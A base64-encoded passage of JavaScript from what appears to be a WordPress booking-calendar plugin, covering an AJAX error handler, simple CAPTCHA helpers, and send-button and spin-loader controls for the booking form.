dXJjZV9pZCcgXSwgcmVzcG9uc2VfZGF0YVsgJ2FqeF9kYXRhJyBdWydkYXRlcyddICApO1xyXG5cclxuXHQvLyBCb29raW5ncyAtIENoaWxkIG9yIG9ubHkgc2luZ2xlIGJvb2tpbmcgcmVzb3VyY2UgaW4gZGF0ZXNcclxuXHRfd3BiYy5ib29raW5nX19zZXRfcGFyYW1fdmFsdWUoIHJlc3BvbnNlX2RhdGFbICdyZXNvdXJjZV9pZCcgXSwgJ3Jlc291cmNlc19pZF9hcnJfX2luX2RhdGVzJywgcmVzcG9uc2VfZGF0YVsgJ2FqeF9kYXRhJyBdWyAncmVzb3VyY2VzX2lkX2Fycl9faW5fZGF0ZXMnIF0gKTtcclxuXHQvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcblxyXG5cdC8vIFVwZGF0ZSBjYWxlbmRhclxyXG5cdHdwYmNfY2FsZW5kYXJfX3VwZGF0ZV9sb29rKCByZXNwb25zZV9kYXRhWyAncmVzb3VyY2VfaWQnIF0gKTtcclxuKi9cclxuXHJcblx0XHRcdFx0XHQvLyBIaWRlIHNwaW4gbG9hZGVyXHJcblx0XHRcdFx0XHR3cGJjX2Jvb2tpbmdfZm9ybV9fc3Bpbl9sb2FkZXJfX2hpZGUoIHJlc3BvbnNlX2RhdGFbICdyZXNvdXJjZV9pZCcgXSApO1xyXG5cclxuXHRcdFx0XHRcdC8vIEhpZGUgYm9va2luZyBmb3JtXHJcblx0XHRcdFx0XHR3cGJjX2Jvb2tpbmdfZm9ybV9fYW5pbWF0ZWRfX2hpZGUoIHJlc3BvbnNlX2RhdGFbICdyZXNvdXJjZV9pZCcgXSApO1xyXG5cclxuXHRcdFx0XHRcdC8vIFNob3cgQ29uZmlybWF0aW9uIHwgUGF5bWVudCBzZWN0aW9uXHJcblx0XHRcdFx0XHR3cGJjX3Nob3dfdGhhbmtfeW91X21lc3NhZ2VfYWZ0ZXJfYm9va2luZyggcmVzcG9uc2VfZGF0YSApO1xyXG5cclxuXHRcdFx0XHRcdHNldFRpbWVvdXQoIGZ1bmN0aW9uICgpe1xyXG5cdFx0XHRcdFx0XHR3cGJjX2RvX3Njcm9sbCggJyN3cGJjX3Njcm9sbF9wb2ludF8nICsgcmVzcG9uc2VfZGF0YVsgJ3Jlc291cmNlX2lkJyBdLCAxMCApO1xyXG5cdFx0XHRcdFx0fSwgNTAwICk7XHJcblxyXG5cclxuXHJcblx0XHRcdFx0fVxyXG5cdFx0XHQgICkuZmFpbChcclxuXHRcdFx0XHQgIC8vIDxlZGl0b3ItZm9sZCAgICAgZGVmYXVsdHN0YXRlPVwiY29sbGFwc2VkXCIgICAgICAgICAgICAgICAgICAgICAgICBkZXNjPVwiID0gVGhpcyBzZWN0aW9uIGV4ZWN1dGUsICB3aGVuICBOT05DRSBmaWVsZCB3YXMgbm90IHBhc3NlZCBvciBzb21lIGVycm9yIGhhcHBlbmVkIGF0ICBzZXJ2ZXIhID0gXCIgID5cclxuXHRcdFx0XHQgIGZ1bmN0aW9uICgganFYSFIsIHRleHRTdGF0dXMsIGVycm9yVGhyb3duICkgeyAgICBpZiAoIHdpbmRvdy5jb25zb2xlICYmIHdpbmRvdy5jb25zb2xlLmxvZyApeyBjb25zb2xlLmxvZyggJ0FqYXhfRXJyb3InLCBqcVhIUiwgdGV4dFN0YXR1cywgZXJyb3JUaHJvd24gKTsgfVxyXG5cclxuXHRcdFx0XHRcdC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuXHRcdFx0XHRcdC8vIFRoaXMgc2VjdGlvbiBleGVjdXRlLCAgd2hlbiAgTk9OQ0UgZmllbGQgd2FzIG5vdCBwYXNzZWQgb3Igc29tZSBlcnJvciBoYXBwZW5lZCBhdCAgc2VydmVyIVxyXG5cdFx0XHRcdFx0Ly8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG5cclxuXHRcdFx0XHRcdC8vIEdldCBDb250ZW50IG9mIEVycm9yIE1lc3NhZ2VcclxuXHRcdFx0XHRcdHZhciBlcnJvcl9tZXNzYWdlID0gJzxzdHJvbmc+JyArICdFcnJvciEnICsgJzwvc3Ryb25nPiAnICsgZXJyb3JUaHJvd24gO1xyXG5cdFx0XHRcdFx0aWYgKCBqcVhIUi5zdGF0dXMgKXtcclxuXHRcdFx0XHRcdFx0ZXJyb3JfbWVzc2FnZSArPSAnICg8Yj4nICsganFYSFIuc3RhdHVzICsgJzwvYj4pJztcclxuXHRcdFx0XHRcdFx0aWYgKDQwMyA9PSBqcVhIUi5zdGF0dXMgKXtcclxuXHRcdFx0XHRcdFx0XHRlcnJvcl9tZXNzYWdlICs9ICc8YnI+IFByb2JhYmx5IG5vbmNlIGZvciB0aGlzIHBhZ2UgaGFzIGJlZW4gZXhwaXJlZC4gUGxlYXNlIDxhIGhyZWY9XCJqYXZhc2NyaXB0OnZvaWQoMClcIiBvbmNsaWNrPVwiamF2YXNjcmlwdDpsb2NhdGlvbi5yZWxvYWQoKTtcIj5yZWxvYWQgdGhlIHBhZ2U8L2E+Lic7XHJcblx0XHRcdFx0XHRcdFx0ZXJyb3JfbWVzc2FnZSArPSAnPGJyPiBPdGhlcndpc2UsIHBsZWFzZSBjaGVjayB0aGlzIDxhIHN0eWxlPVwiZm9udC13ZWlnaHQ6IDYwMDtcIiBocmVmPVwiaHR0cHM6Ly93cGJvb2tpbmdjYWxlbmRhci5jb20vZmFxL3JlcXVlc3QtZG8tbm90LXBhc3Mtc2VjdXJpdHktY2hlY2svP2FmdGVyX3VwZGF0ZT0xMC4xLjFcIj50cm91Ymxlc2hvb3RpbmcgaW5zdHJ1Y3Rpb248L2E+Ljxicj4nXHJcblx0XHRcdFx0XHRcdH1cclxuXHRcdFx0XHRcdH1cclxuXHRcdFx0XHRcdGlmICgganFYSFIucmVzcG9uc2VUZXh0ICl7XHJcblx0XHRcdFx0XHRcdC8vIEVzY2FwZSB0YWdzIGluIEVycm9yIG1lc3NhZ2VcclxuXHRcdFx0XHRcdFx0ZXJyb3JfbWVzc2FnZSArPSAnPGJyPjxzdHJvbmc+UmVzcG9uc2U8L3N0cm9uZz48ZGl2IHN0eWxlPVwicGFkZGluZzogMCAxMHB4O21hcmdpbjogMCAwIDEwcHg7Ym9yZGVyLXJhZGl1czozcHg7IGJveC1zaGFkb3c6MHB4IDBweCAxcHggI2EzYTNhMztcIj4nICsganFYSFIucmVzcG9uc2VUZXh0LnJlcGxhY2UoLyYvZywgXCImYW1wO1wiKVxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCAucmVwbGFjZSgvPC9nLCBcIiZsdDtcIilcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQgLnJlcGxhY2UoLz4vZywgXCImZ3Q7XCIpXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0IC5yZXBsYWNlKC9cIi9nLCBcIiZxdW90O1wiKVxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCAucmVwbGFjZSgvJy9nLCBcIiYjMzk7XCIpXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0Kyc8L2Rpdj4nO1xyXG5cdFx0XHRcdFx0fVxyXG5cdFx0XHRcdFx0ZXJyb3JfbWVzc2FnZSA9IGVycm9yX21lc3NhZ2UucmVwbGFjZSggL1xcbi9nLCBcIjxiciAvPlwiICk7XHJcblxyXG5cdFx0XHRcdFx0dmFyIGNhbGVuZGFyX2lkID0gd3BiY19nZXRfcmVzb3VyY2VfaWRfX2Zyb21fYWp4X3Bvc3RfZGF0YV91cmwoIHRoaXMuZGF0YSApO1xyXG5cdFx0XHRcdFx0dmFyIGpxX25vZGUgPSAnI2Jvb2tpbmdfZm9ybScgKyBjYWxlbmRhcl9pZDtcclxuXHJcblx0XHRcdFx0XHQvLyBTaG93IE1lc3NhZ2VcclxuXHRcdFx0XHRcdHdwYmNfZnJvbnRfZW5kX19zaG93X21lc3NhZ2UoIGVycm9yX21lc3NhZ2UgLCB7ICd0eXBlJyAgICAgOiAnZXJyb3InLFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0J3Nob3dfaGVyZSc6IHsnanFfbm9kZSc6IGpxX25vZGUsICd3aGVyZSc6ICdhZnRlcid9LFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0J2lzX2FwcGVuZCc6IHRydWUsXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQnc3R5bGUnICAgIDogJ3RleHQtYWxpZ246bGVmdDsnLFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0J2RlbGF5JyAgICA6IDBcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHR9ICk7XHJcblx0XHRcdFx0XHQvLyBFbmFibGUgU3VibWl0IHwgSGlkZSBzcGluIGxvYWRlclxyXG5cdFx0XHRcdFx0d3BiY19ib29raW5nX2Zvcm1fX29uX3Jlc3BvbnNlX191aV9lbGVtZW50c19lbmFibGUoIGNhbGVuZGFyX2lkICk7XHJcblx0XHRcdCAgXHQgfVxyXG5cdFx0XHRcdCAvLyA8L2VkaXRvci1mb2xkPlxyXG5cdFx0XHQgIClcclxuXHQgICAgICAgICAgLy8gLmRvbmUoICAgZnVuY3Rpb24gKCBkYXRhLCB0ZXh0U3RhdHVzLCBqcVhIUiApIHsgICBpZiAoIHdpbmRvdy5jb25zb2xlICYmIHdpbmRvdy5jb25zb2xlLmxvZyApeyBjb25zb2xlLmxvZyggJ3NlY29uZCBzdWNjZXNzJywgZGF0YSwgdGV4dFN0YXR1cywganFYSFIgKTsgfSAgICB9KVxyXG5cdFx0XHQgIC8vIC5hbHdheXMoIGZ1bmN0aW9uICggZGF0YV9qcVhIUiwgdGV4dFN0YXR1cywganFYSFJfZXJyb3JUaHJvd24gKSB7ICAgaWYgKCB3aW5kb3cuY29uc29sZSAmJiB3aW5kb3cuY29uc29sZS5sb2cgKXsgY29uc29sZS5sb2coICdhbHdheXMgZmluaXNoZWQnLCBkYXRhX2pxWEhSLCB0ZXh0U3RhdHVzLCBqcVhIUl9lcnJvclRocm93biApOyB9ICAgICB9KVxyXG5cdFx0XHQgIDsgIC8vIEVuZCBBamF4XHJcblxyXG5cdHJldHVybiB0cnVlO1xyXG59XHJcblxyXG5cclxuXHQvLyA8ZWRpdG9yLWZvbGQgICAgIGRlZmF1bHRzdGF0ZT1cImNvbGxhcHNlZFwiICAgICAgICAgICAgICAgICAgICAgICAgZGVzYz1cIiAgPT0gIENBUFRDSEEgPT0gIFwiICA+XHJcblxyXG5cdC8qKlxyXG5cdCAqIFVwZGF0ZSBpbWFnZSBpbiBjYXB0Y2hhIGFuZCBzaG93IHdhcm5pbmcgbWVzc2FnZVxyXG5cdCAqXHJcblx0ICogQHBhcmFtIHBhcmFtc1xyXG5cdCAqXHJcblx0ICogRXhhbXBsZSBvZiAncGFyYW1zJyA6IHtcclxuXHQgKlx0XHRcdFx0XHRcdFx0J3Jlc291cmNlX2lkJzogcmVzcG9uc2VfZGF0YVsgJ3Jlc291cmNlX2lkJyBdLFxyXG5cdCAqXHRcdFx0XHRcdFx0XHQndXJsJyAgICAgICAgOiByZXNwb25zZV9kYXRhWyAnYWp4X2RhdGEnIF1bICdjYXB0Y2hhX19zaW1wbGUnIF1bICd1cmwnIF0sXHJcblx0ICpcdFx0XHRcdFx0XHRcdCdjaGFsbGVuZ2UnICA6IHJlc3BvbnNlX2RhdGFbICdhanhfZGF0YScgXVsgJ2NhcHRjaGFfX3NpbXBsZScgXVsgJ2NoYWxsZW5nZScgXSxcclxuXHQgKlx0XHRcdFx0XHRcdFx0J21lc3NhZ2UnICAgIDogcmVzcG9uc2VfZGF0YVsgJ2FqeF9kYXRhJyBdWyAnYWp4X2FmdGVyX2FjdGlvbl9tZXNzYWdlJyBdLnJlcGxhY2UoIC9cXG4vZywgXCI8YnIgLz5cIiApXHJcblx0ICpcdFx0XHRcdFx0XHR9XHJcblx0ICovXHJcblx0ZnVuY3Rpb24gd3BiY19jYXB0Y2hhX19zaW1wbGVfX3VwZGF0ZSggcGFyYW1zICl7XHJcblxyXG5cdFx0ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoICdjYXB0Y2hhX2lucHV0JyArIHBhcmFtc1sgJ3Jlc291cmNlX2lkJyBdICkudmFsdWUgPSAnJztcclxuXHRcdGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCAnY2FwdGNoYV9pbWcnICsgcGFyYW1zWyAncmVzb3VyY2VfaWQnIF0gKS5zcmMgPSBwYXJhbXNbICd1cmwnIF07XHJcblx0XHRkb2N1bWVudC5nZXRFbGVtZW50QnlJZCggJ3dwZGV2X2NhcHRjaGFfY2hhbGxlbmdlXycgKyBwYXJhbXNbICdyZXNvdXJjZV9pZCcgXSApLnZhbHVlID0gcGFyYW1zWyAnY2hhbGxlbmdlJyBdO1xyXG5cclxuXHRcdC8vIFNob3cgd2FybmluZyBcdFx0QWZ0ZXIgQ0FQVENIQSBJbWdcclxuXHRcdHZhciBtZXNzYWdlX2lkID0gd3BiY19mcm9udF9lbmRfX3Nob3dfbWVzc2FnZV9fd2FybmluZyggJyNjYXB0Y2hhX2lucHV0JyArIHBhcmFtc1sgJ3Jlc291cmNlX2lkJyBdICsgJyArIGltZycsIHBhcmFtc1sgJ21lc3NhZ2UnIF0gKTtcclxuXHJcblx0XHQvLyBBbmltYXRlXHJcblx0XHRqUXVlcnkoICcjJyArIG1lc3NhZ2VfaWQgKyAnLCAnICsgJyNjYXB0Y2hhX2lucHV0JyArIHBhcmFtc1sgJ3Jlc291cmNlX2lkJyBdICkuZmFkZU91dCggMzUwICkuZmFkZUluKCAzMDAgKS5mYWRlT3V0KCAzNTAgKS5mYWRlSW4oIDQwMCApLmFuaW1hdGUoIHtvcGFjaXR5OiAxfSwgNDAwMCApO1xyXG5cdFx0Ly8gRm9jdXMgdGV4dCAgZmllbGRcclxuXHRcdGpRdWVyeSggJyNjYXB0Y2hhX2lucHV0JyArIHBhcmFtc1sgJ3Jlc291cmNlX2lkJyBdICkudHJpZ2dlciggJ2ZvY3VzJyApOyAgICBcdFx0XHRcdFx0XHRcdFx0XHQvL0ZpeEluOiA4LjcuMTEuMTJcclxuXHJcblxyXG5cdFx0Ly8gRW5hYmxlIFN1Ym1pdCB8IEhpZGUgc3BpbiBsb2FkZXJcclxuXHRcdHdwYmNfYm9va2luZ19mb3JtX19vbl9yZXNwb25zZV9fdWlfZWxlbWVudHNfZW5hYmxlKCBwYXJhbXNbICdyZXNvdXJjZV9pZCcgXSApO1xyXG5cdH1cclxuXHJcblxyXG5cdC8qKlxyXG5cdCAqIElmIHRoZSBjYXB0Y2hhIGVsZW1lbnRzIG5vdCBleGlzdCAgaW4gdGhlIGJvb2tpbmcgZm9ybSwgIHRoZW4gIHJlbW92ZSBwYXJhbWV0ZXJzIHJlbGF0aXZlIGNhcHRjaGFcclxuXHQgKiBAcGFyYW0gcGFyYW1zXHJcblx0ICogQHJldHVybnMgb2JqXHJcblx0ICovXHJcblx0ZnVuY3Rpb24gd3BiY19jYXB0Y2hhX19zaW1wbGVfX21heWJlX3JlbW92ZV9pbl9hanhfcGFyYW1zKCBwYXJhbXMgKXtcclxuXHJcblx0XHRpZiAoICEgd3BiY19jYXB0Y2hhX19zaW1wbGVfX2lzX2V4aXN0X2luX2Zvcm0oIHBhcmFtc1sgJ3Jlc291cmNlX2lkJyBdICkgKXtcclxuXHRcdFx0ZGVsZXRlIHBhcmFtc1sgJ2NhcHRjaGFfY2hhbGFuZ2UnIF07XHJcblx0XHRcdGRlbGV0ZSBwYXJhbXNbICdjYXB0Y2hhX3VzZXJfaW5wdXQnIF07XHJcblx0XHR9XHJcblx0XHRyZXR1cm4gcGFyYW1zO1xyXG5cdH1cclxuXHJcblxyXG5cdC8qKlxyXG5cdCAqIENoZWNrIGlmIENBUFRDSEEgZXhpc3QgaW4gdGhlIGJvb2tpbmcgZm9ybVxyXG5cdCAqIEBwYXJhbSByZXNvdXJjZV9pZFxyXG5cdCAqIEByZXR1cm5zIHtib29sZWFufVxyXG5cdCAqL1xyXG5cdGZ1bmN0aW9uIHdwYmNfY2FwdGNoYV9fc2ltcGxlX19pc19leGlzdF9pbl9mb3JtKCByZXNvdXJjZV9pZCApe1xyXG5cclxuXHRcdHJldHVybiAoXHJcblx0XHRcdFx0XHRcdCgwICE9PSBqUXVlcnkoICcjd3BkZXZfY2FwdGNoYV9jaGFsbGVuZ2VfJyArIHJlc291cmNlX2lkICkubGVuZ3RoKVxyXG5cdFx0XHRcdFx0IHx8ICgwICE9PSBqUXVlcnkoICcjY2FwdGNoYV9pbnB1dCcgKyByZXNvdXJjZV9pZCApLmxlbmd0aClcclxuXHRcdFx0XHQpO1xyXG5cdH1cclxuXHJcblx0Ly8gPC9lZGl0b3ItZm9sZD5cclxuXHJcblxyXG5cdC8vIDxlZGl0b3ItZm9sZCAgICAgZGVmYXVsdHN0YXRlPVwiY29sbGFwc2VkXCIgICAgICAgICAgICAgICAgICAgICAgICBkZXNjPVwiICA9PSAgU2VuZCBCdXR0b24gfCBGb3JtIFNwaW4gTG9hZGVyICA9PSAgXCIgID5cclxuXHJcblx0LyoqXHJcblx0ICogRGlzYWJsZSBTZW5kIGJ1dHRvbiAgfCAgU2hvdyBTcGluIExvYWRlclxyXG5cdCAqXHJcblx0ICogQHBhcmFtIHJlc291cmNlX2lkXHJcblx0ICovXHJcblx0ZnVuY3Rpb24gd3BiY19ib29raW5nX2Zvcm1fX29uX3N1Ym1pdF9fdWlfZWxlbWVudHNfZGlzYWJsZSggcmVzb3VyY2VfaWQgKXtcclxuXHJcblx0XHQvLyBEaXNhYmxlIFN1Ym1pdFxyXG5cdFx0d3BiY19ib29raW5nX2Zvcm1fX3NlbmRfYnV0dG9uX19kaXNhYmxlKCByZXNvdXJjZV9pZCApO1xyXG5cclxuXHRcdC8vIFNob3cgU3BpbiBsb2FkZXIgaW4gYm9va2luZyBmb3JtXHJcblx0XHR3cGJjX2Jvb2tpbmdfZm9ybV9fc3Bpbl9sb2FkZXJfX3Nob3coIHJlc291cmNlX2lkICk7XHJcblx0fVxyXG5cclxuXHQvKipcclxuXHQgKiBFbmFibGUgU2VuZCBidXR0b24gIHwgICBIaWRlIFNwaW4gTG9hZGVyXHJcblx0ICpcclxuXHQgKiBAcGFyYW0gcmVzb3VyY2VfaWRcclxuXHQgKi9cclxuXHRmdW5jdGlvbiB3cGJjX2Jvb2tpbmdfZm9ybV9fb25fcmVzcG9uc2VfX3VpX2VsZW1lbnRzX2VuYWJsZShyZXNvdXJjZV9pZCl7XHJcblxyXG5cdFx0Ly8gRW5hYmxlIFN1Ym1pdFxyXG5cdFx0d3BiY19ib29raW5nX2Zvcm1fX3NlbmRfYnV0dG9uX19lbmFibGUoIHJlc291cmNlX2lkICk7XHJcblxyXG5cdFx0Ly8gSGlkZSBTcGluIGxvYWRlciBpbiBib29raW5nIGZvcm1cclxuXHRcdHdwYmNfYm9va2luZ19mb3JtX19zcGluX2xvYWRlcl9faGlkZSggcmVzb3VyY2VfaWQgKTtcclxuXHR9XHJcblxyXG5cdFx0LyoqXHJcblx0XHQgKiBFbmFibGUgU3VibWl0IGJ1dHRvblxyXG5cdFx0ICogQHBhcmFtIHJlc291cmNlX2lkXHJcblx0XHQgKi9cclxuXHRcdGZ1bmN0aW9uIHdwYmNfYm9va2luZ19mb3JtX19zZW5kX2J1dHRvbl9fZW5hYmxlKCByZXNvdXJjZV9pZCApe1xyXG5cclxuXHRcdFx0Ly8gQWN0aXZhdGUgU2VuZCBidXR0b25cclxuXHRcdFx0alF1ZXJ5KCAnI2Jvb2tpbmdfZm9ybV9kaXYnICsgcmVzb3VyY2VfaWQgKyAnIGlucHV0W3R5cGU9YnV0dG9uXScgKS5wcm9wKCBcImRpc2FibGVkXCIsIGZhbHNlICk7XHJcblx0XHRcdGpRdWVyeSggJyNib29raW5nX2Zvcm1fZGl2JyArIHJlc291cmNlX2lkICsgJyBidXR0b24nICkucHJvcCggXCJkaXNhYmxlZFwiLCBmYWxzZSApO1xyXG5cdFx0fVxyXG5cclxuXHRcdC8qKlxyXG5cdFx0ICogRGlzYWJsZSBTdWJtaXQgYnV0dG9uICBhbmQgc2hvdyAgc3BpblxyXG5cdFx0ICpcclxuXHRcdCAqIEBwYXJhbSByZXNvdXJjZV9pZFxyXG5cdFx0ICovXHJcblx0XHRmdW5jdGlvbiB3cGJjX2Jvb2tpbmdfZm9ybV9fc2VuZF9idXR0b25fX2Rpc2FibGUoIHJlc291cmNlX2lkICl7XHJcblxyXG5cdFx0XHQvLyBEaXNhYmxlIFNlbmQgYnV0dG9uXHJcblx0XHRcdGpRdWVyeSggJyNib29raW5nX2Zvcm1fZGl2JyArIHJlc291cmNlX2lkICsgJyBpbnB1dFt0eXBlPWJ1dHRvbl0nICkucHJvcCggXCJkaXNhYmxlZFwiLCB0cnVlICk7XHJcblx0XHRcdGpRdWVyeSggJyNib29raW5nX2Zvcm1fZGl2JyArIHJlc291cmNlX2lkICsgJyBidXR0b24nICkucHJvcCggXCJkaXNhYmxlZFwiLCB0cnVlICk7XHJcblx0XHR9XHJcblxyXG5cdFx0LyoqXHJcblx0XHQgKiBEaXNhYmxlICdUaGlzJyBidXR0b25cclxuXHRcdCAqXHJcblx0XHQgKiBAcGFyYW0gX3RoaXNcclxuXHRcdCAqL1xyXG5cdFx0ZnVuY3Rpb24gd3BiY19ib29raW5nX2Zvcm1fX3RoaXNfYnV0dG9uX19kaXNhYmxlKCBfdGhpcyApe1xyXG5cclxuXHRcdFx0Ly8gRGlzYWJsZSBTZW5kIGJ1dHRvblxyXG5cdFx0XHRqUXVlcnkoIF90aGlzICkucHJvcCggXCJkaXNhYmxlZFwiLCB0cnVlICk7XHJcblx0XHR9XHJcblxyXG5cdFx0LyoqXHJcblx0XHQgKiBTaG93IGJvb2tpbmcgZm9ybSAgU3BpbiBMb2FkZXJcclxuXHRcdCAqIEBwYXJhbSByZXNvdXJjZV9pZFxyXG5cdFx0ICovXHJcblx0XHRmdW5jdGlvbiB3cGJjX2Jvb2tpbmdfZm9ybV9fc3Bpbl9sb2FkZXJfX3Nob3coIHJlc291cmNlX2lkICl7XHJcblxyXG5cdFx0XHQvLyBTaG93IFNwaW4gTG9hZGVyXHJcblx0XHRcdGpRdWVyeSggJyNib29raW5nX2Zvcm0nICsgcmVzb3VyY2VfaWQgKS5hZnRlcihcclxuXHRcdFx0XHQnPGRpdiBpZD1cIndwYmNfYm9va2luZ19mb3JtX3NwaW5fbG9hZGVyJyArIHJlc291cmNlX2lkICsgJ1wiIGNsYXNzPVwid3BiY19ib29raW5nX2Zvcm1fc3Bpbl9sb2FkZXJcIiBzdHlsZT1cInBvc2l0aW9uOiByZWxhdGl2ZTtcIj48ZGl2IGNsYXNzPVwid3BiY19zcGluc19sb2FkZXJfd3JhcHBlclwiPjxkaXYgY2xhc3M9XCJ3cGJjX3NwaW5zX2xvYWRlcl9taW5pXCI+PC9kaXY+PC9kaXY+PC9kaXY+J1xyXG5cdFx0XHQpO1xyXG5cdFx0fVxyXG5cclxuXHRcdC8qKlxyXG5cdFx0ICogUmVtb3ZlIC8gSGlkZSBib29raW5nIGZvcm0gIFNwaW4gTG9hZGVyXHJcblx0XHQgKiBAcGFyYW0gcmVzb3VyY2VfaWRcclxuXHRcdCAqL1xyXG5cdFx0ZnVuY3Rpb24gd3BiY19ib29raW5nX2Zvcm1fX3NwaW5fbG9hZGVyX19oaWRlKCByZXNvdXJjZV9pZCApe1xyXG5cclxuXHRcdFx0Ly8gUmVtb3ZlIFNwaW4gTG9hZGVyXHJcblx0XHRcdGpRdWVyeSggJyN3cGJjX2Jvb2tpbmdfZm9ybV9zcGluX2xvYWRlcicgKyByZXNvdXJjZV9pZCApLnJlbW92ZSgpO1xyXG5cdFx0fVxyXG5cclxuXHJcblx0XHQvKipcclxuXHRcdCAqIEhpZGUgYm9va2luZyBmb3JtIHd0aCBhbmltYXRpb25cclxuXHRcdCAqXHJcblx0XHQgKiBAcGFyYW0gcmVzb3VyY2VfaWRcclxuXHRcdCAqL1xyXG5cdFx0ZnVuY3Rpb24gd3BiY19ib29raW5nX2Zvcm1fX2FuaW1hdGVkX19oaWRlKCByZXNvdXJjZV9pZCApe1xyXG5cclxuXHRcdFx0Ly8galF1ZXJ5KCAnI2Jvb2tpbmdfZm9ybScgKyByZXNvdXJjZV9pZCApLnNsaWRlVXAoICAxMDAwXHJcblx0XHRcdC8vIFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCwgZnVuY3Rpb24gKCl7XHJcblx0XHRcdC8vXHJcblx0XHRcdC8vIFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQvLyBpZiAoIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCAnZ2F0ZXdheV9wYXltZW50X2Zvcm1zJyArIHJlc3BvbnNlX2RhdGFbICdyZXNvdXJjZV9pZCcgXSApICE9IG51bGwgKXtcclxuXHRcdFx0Ly8gXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdC8vIFx0d3BiY19kb19zY3JvbGwoICcjc3VibWl0aW5nJyArIHJlc291cmNlX2lkICk7XHJcblx0XHRcdC8vIFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQvLyB9IGVsc2VcclxuXHRcdFx0Ly8gXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdGlmICggalF1ZXJ5KCAnI2Jvb2tpbmdfZm9ybScgKyByZXNvdXJjZV9pZCApLnBhcmVudCgpLmZpbmQoICcuc3VibWl0aW5nX2NvbnRlbnQnICkubGVuZ3RoID4gMCApe1xyXG5cdFx0XHQvLyBcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQvL3dwYmNfZG9fc2Nyb2xsKCAnI2Jvb2tpbmdfZm9ybScgKyByZXNvdXJjZV9pZCArICcgKyAuc3VibWl0aW5nX2NvbnRlbnQnICk7XHJcblx0XHRcdC8vXHJcblx0XHRcdC8vIFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCB2YXIgaGlkZVRpbWVvdXQgPSBzZXRUaW1lb3V0KGZ1bmN0aW9uICgpIHtcclxuXHRcdFx0Ly8gXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCAgd3BiY19kb19zY3JvbGwoIGpRdWVyeSggJyNib29raW5nX2Zvcm0nICsgcmVzb3VyY2VfaWQgKS5wYXJlbnQoKS5maW5kKCAnLnN1Ym1pdGluZ19jb250ZW50JyApLmdldCggMCApICk7XHJcblx0XHRcdC8vIFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHR9LCAxMDApO1xyXG5cdFx0XHQvL1xyXG5cdFx0XHQvLyBcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0fVxyXG5cdFx0XHQvLyBcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQgIH1cclxuXHRcdFx0Ly8gXHRcdFx0XHRcdFx0XHRcdFx0XHQpO1xyXG5cclxuXHRcdFx0alF1ZXJ5KCAnI2Jvb2tpbmdfZm9ybScgKyByZXNvdXJjZV9pZCApLmhpZGUoKTtcclxuXHJcblx0XHRcdC8vIHZhciBoaWRlVGltZW91dCA9IHNldFRpbWVvdXQoIGZ1bmN0aW9uICgpe1xyXG5cdFx0XHQvL1xyXG5cdFx0XHQvLyBcdGlmICggalF1ZXJ5KCAnI2Jvb2tpbmdfZm9ybScgKyByZXNvdXJjZV9pZCApLnBhcmVudCgpLmZpbmQoICcuc3VibWl0aW5nX2NvbnRlbnQnICkubGVuZ3RoID4gMCApe1xyXG5cdFx0XHQvLyBcdFx0dmFyIHJhbmRvbV9pZCA9IE1hdGguZmxvb3IoIChNYXRoLnJhbmRvbSgpICogMTAwMDApICsgMSApO1xyXG5cdFx0XHQvLyBcdFx0alF1ZXJ5KCAnI2Jvb2tpbmdfZm9ybScgKyByZXNvdXJjZV9pZCApLnBhcmVudCgpLmJlZm9yZSggJzxkaXYgaWQ9XCJzY3JvbGxfdG8nICsgcmFuZG9tX2lkICsgJ1wiPjwvZGl2PicgKTtcclxuXHRcdFx0Ly8gXHRcdGNvbnNvbGUubG9nKCBqUXVlcnkoICcjc2Nyb2xsX3RvJyArIHJhbmRvbV9pZCApICk7XHJcblx0XHRcdC8vXHJcblx0XHRcdC8vIFx0XHR3cGJjX2RvX3Njcm9sbCggJyNzY3JvbGxfdG8nICsgcmFuZG9tX2lkICk7XHJcblx0XHRcdC8vIFx0XHQvL3dwYmNfZG9fc2Nyb2xsKCBqUXVlcnkoICcjYm9va2luZ19mb3JtJyArIHJlc291cmNlX2lkICkucGFyZW50KCkuZ2V0KCAwICkgKTtcclxuXHRcdFx0Ly8